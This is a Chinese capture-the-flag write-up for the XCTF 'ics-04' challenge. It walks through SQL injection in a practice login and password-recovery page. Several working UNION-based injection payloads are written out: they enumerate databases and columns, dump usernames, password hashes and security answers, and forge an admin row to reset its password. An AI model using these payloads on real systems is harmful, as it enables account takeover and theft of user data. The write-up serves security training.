题目
攻防世界ics-04
工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。
解题思路
打开题目提供的环境,发现整个页面只有注册、登录、找回密码功能是可以用的,尝试注册一个账户进行登录,提示普通用户登录成功,没什么用,可以猜测出题者的意图是让我们拿到管理员账号登录获得flag。
打开找回密码界面,随意输入一个用户名,发现界面上会提示没有这个用户,因此此处应该可以爆破用户名,但是如果用户名不是常见用户名就是白费体力了,先搁置。
在用户名输入框尝试SQL注入,发现注入成功,于是尝试从这里入手拿到用户密码。
构造SQL语句:' union select 1,2,group_concat(char(32,58,32),schema_name),4 from information_schema.schemata;#
,可以列出所有的数据库名,发现题目用到的库是cetc004。
构造SQL语句:' union select 1,2,group_concat(char(32,58,32),column_name),4 from information_schema.columns where table_schema='cetc004' and table_name='user';#
,可以列出user
表中所有的字段。
直接列出user
表中所有的数据:' union select 1,2,group_concat(char(32,58,32),username,',',password,',',question,',',answer),4 from cetc004.user;#
,这里得到了管理员账号的用户名:c3tlwDmIn23,密码md5:2f8667f381ff50ced6a3edc259260ba9,密保问题:cetc,密保答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,。
但是尝试对密码md5进行解密时发现无法解密,而且进行重置密码时提示密保答案错误,因此到这里没有直接成功。
通过观察重置密码的http请求,发现总共是3个请求,而且不同用户名的cookie是不变的,猜测使用会话实现重置密码的功能,而会话是与用户名绑定的,因此我们可以构造一个SQL语句,使得查询出来的用户名是管理员的用户名,但是密保问题和答案是我们自己指定的,就可以成功重置密码了:' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','随意设置的问题','answer123333';#
来源:CSDN
作者:zsqad
链接:https://blog.csdn.net/zsqad/article/details/103469737